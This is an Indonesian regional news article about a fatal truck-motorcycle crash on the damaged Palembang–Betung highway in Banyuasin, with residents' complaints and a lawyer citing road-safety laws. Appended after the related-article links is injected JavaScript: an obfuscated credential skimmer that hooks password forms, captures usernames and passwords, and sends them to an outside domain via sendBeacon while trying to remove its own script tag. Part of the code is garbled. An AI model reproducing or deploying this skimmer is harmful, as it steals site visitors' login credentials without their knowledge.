Home / BANYUASIN / DAERAH

Jumat, 19 September 2025 - 10:32 WIB

Jalintim Palembang – Betung Bergelombang Banyak Korban Jiwa, BBPJN Minim Perhatian

BANYUASIN, transparan merdeka.com – Kecelakaan maut terjadi di Jalan lintas timur (Jalintim) KM 38 Palembang – Betung, tepatnya di sekitar Booster Desa Langkan Kecamatan Banyuasin III kabupaten Banyuasin Provinsi Sumatera Selatan Kamis (18/9/2025).

Sebuah truk tangki CPO Hino nomor polisi BH 8920 GU yang di kemudikan Dedi Chandra (50) bersenggolan dengan sepeda motor Revo BG 2597 BAW yang dikemudikan oleh Syam (55) berboncengan dengan Sa (52) mengakibatkan satu nyawa melayang

Kejadian ini bermula saat motor Revo berusaha menyalip mobil Truk Tangki Hino karena jalan bergelombang motor yang dikemudikan syam oleng sehingga terjatuh, dengan kondisi itu menyebabkan Sa tewas di tempat kejadian perkara, usai kejadian tersebut korban dievakuasi oleh anggota Lakalantas Polres Banyuasin ke RSUD Banyuasin dengan kondisi luka robek di punggung sebelah kiri.

Jun Warga Langkan dengan adanya insiden ini mengatakan,” kecelakaan di sepanjang jalan Palembang Betung ini terjadi bukan hanya sekali ini, bahkan hampir setiap hari. Jalan Palembang – Betung memang sejak lama rusak parah dan bergelombang, namun minim perhatian dari Balai Besar Pelaksana Jalan Negara (BBPJN) atau pihak berwenang lainnya,” ucapnya.

Baca Juga :  Mawardi Yahya Ajak Warga Sumsel Bersyukur HUT RI ke 77 Bisa Digelar dengan Meriah

Kemudian salah seorang warga lainnya juga menyampaikan,” Setiap hari jalan ini makan korban. Pemerintah seperti tutup mata,” dengan nada geram.

Masyarakat mendesak agar perbaikan jalan segera dilakukan, mengingat jalur tersebut merupakan nadi utama transportasi bagi pengemudi dari arah Jambi, Sumbar, Riau, sumatera Utara, Aceh khususnya yang melewati jalur lintas Timur menuju Sumatera Selatan, Lampung serta pulau Jawa dan sebaliknya. Jika terus dibiarkan, jalan bergelombang ini dikhawatirkan terus memakan korban jiwa dan menghambat transportasi.

Aparat kepolisian yang menangani TKP pun mengingatkan agar pengguna jalan lebih berhati-hati saat melintas di lokasi ini karena rawan kecelakaan. Namun masyarakat menilai dengan himbauan saja tidak cukup, tanpa ada langkah nyata dan upaya perbaikan dari pihak terkait.

Sementara itu, Aktivis sekaligus Praktisi Hukum Adi Merdeka menyampaikan bahwa masyarakat memiliki hak untuk menuntut Balai Besar atau pihak penyelenggara jalan apabila kerusakan jalan mengakibatkan kecelakaan yang menimbulkan korban jiwa.

Baca Juga :  Hadiri Kunjungan Komisi XII DPR RI di Sumsel, PLN Tegaskan Dukungan Transisi Energi dan Pemerataan Akses Listrik

Hal ini sejalan dengan Pasal 24 ayat (1) Undang-Undang No. 38 Tahun 2004 tentang Jalan, yang mewajibkan pemerintah segera memperbaiki jalan rusak demi keselamatan pengguna jalan. Apabila kewajiban ini diabaikan dan mengakibatkan korban jiwa, dapat dikenakan Pasal 273 ayat (3) UU No. 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan yang mengatur sanksi pidana berupa penjara paling lama 6 (enam) tahun atau denda paling banyak Rp12.000.000.

Selain itu, jika kematian terjadi karena kelalaian penyelenggara jalan, dapat pula diterapkan Pasal 359 KUHP yang mengancam dengan pidana penjara paling lama 5 (lima) tahun atau kurungan paling lama 1 (satu) tahun.

Adi Merdeka juga menegaskan bahwa korban atau ahli waris berhak mendapatkan santunan dari Jasa Raharja sesuai ketentuan perundang-undangan yang berlaku. (Fan)

Share :

Baca Juga

DAERAH

Camat Sanga Desa, Pimpin Upacara Memperingati Hari Pahlawan Berlangsung Khidmat

DAERAH

Safari Jum’at di Masjid Nurul Huda Gandus, Herman Deru Pantau Fasilitas Masjid

DAERAH

RKB Tak Layak Pakai, Tariman Bantu Bangunan Ponpes Darul Ulum Ngulak

HUKUM & KRIMINAL

Direskrimsus Polda Sumsel Turunkan Tim Cek Tumpahan Minyak Cemari Lingkungan di Talang Keramat, Banyuasin

KAB. MUBA

Wanti-wanti Penimbunan Bahan Pokok di Muba

DAERAH

REZA DIKEROYOK, MOTOR VIXION PUTIH BG 6095 VJ DILARIKAN PELAKU

DAERAH

Sistem Kelistrikan Aceh Berangsur Pulih, Banda Aceh Malam Ini Kembali Terang

BANYUASIN

Humas Polres Terkesan Tidak Butuh, Wartawan Banyuasin Walk Out
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();